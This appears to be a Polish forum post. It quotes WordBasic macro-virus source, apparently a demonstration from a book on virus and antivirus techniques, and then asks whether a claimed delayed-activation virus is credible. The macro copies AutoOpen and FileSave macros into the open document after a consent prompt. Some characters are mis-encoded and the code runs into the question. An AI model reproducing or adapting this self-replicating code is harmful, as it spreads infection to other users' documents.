- Kod: Zaznacz wszystko
zawartoϾ makra : FileSave
Sub MAIN
FileSave
On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam B³aszczyk"
Uwg$ = "Czy chcesz zainfekowaæ '" + WindowName$() + "' makrowirusem ?"
TiN = 256 + 48 + 4
Prz = MsgBoks(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroKopy "Globalne:AutoOpen", WindowName$() + ":AutoOpen", 1
MacroKopy "Globalne:FileSave", WindowName$() + ":FileSave", 1
FileSaveAs .Format = 1
Tek$ = "Wirus dopisa³ siê do '" + WindowName$() + "'"
MsgBox Tek$, Tyt$, 64
FileSave
End If
REM FileSave
FileSave_Error:
twierdzi, ze wyslal wirusa, ktory uaktywni sie po 3-4 dniach... dla mnie to smiech na sali, ale chcialem sie zapytac co Wy o tym myslicie?? XD